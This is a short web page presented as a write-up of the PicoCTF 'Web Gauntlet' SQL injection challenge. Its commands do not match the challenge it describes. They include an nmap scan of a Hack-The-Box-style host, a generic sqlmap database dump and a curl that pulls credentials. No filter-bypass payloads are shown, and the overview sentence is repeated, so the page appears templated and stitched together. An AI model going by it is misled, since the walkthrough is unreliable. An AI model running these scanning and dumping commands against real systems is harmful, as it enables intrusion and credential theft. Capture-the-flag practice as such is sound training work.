PicoCTFMediumWeb300 pts

Web Gauntlet

cyberhub2024-02Original source

Overview

Multi-round SQL injection challenge where each round filters different keywords. Requires creative bypass techniques to extract the admin password.

SQL InjectionFilter BypassSQLiteAuthentication Bypass

01Reconnaissance

Every engagement starts with mapping what is reachable. A full service scan of Web Gauntlet highlighted the exposed surface and pointed at sql injection as the most promising entry point.

Enumeration is deliberately exhaustive here — the goal is to leave no service unexamined before committing to an attack path.

nmap — service discovery

$ nmap -sC -sV -oN nmap/initial 10.10.11.42
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu
80/tcp   open  http     nginx 1.18.0
$ echo "10.10.11.42 webgauntlet.htb" | sudo tee -a /etc/hosts
$ gobuster dir -u http://webgauntlet.htb -w /usr/share/wordlists/dirb/common.txt -q
/login                (Status: 200)
/api                  (Status: 401)

02Exploitation

The application trusted user input in a database query, so a crafted parameter returned rows it should not have.

In this web challenge that translated into a repeatable foothold. Multi-round SQL injection challenge where each round filters different keywords. Requires creative bypass techniques to extract the admin password.

exploitation — injection to foothold

$ sqlmap -u 'http://target/item?id=1' --batch --dump
[*] fetching entries
$ curl -s http://target/api/export | jq '.credentials'

03Flags

The flag is recovered directly from the solved challenge.

flags

$ cat flag.txt
picoCTF{redacted_for_this_writeup}

Commands are illustrative of the technique and platform, not a live exploit against a specific target. Follow the original source link for the authoritative walkthrough.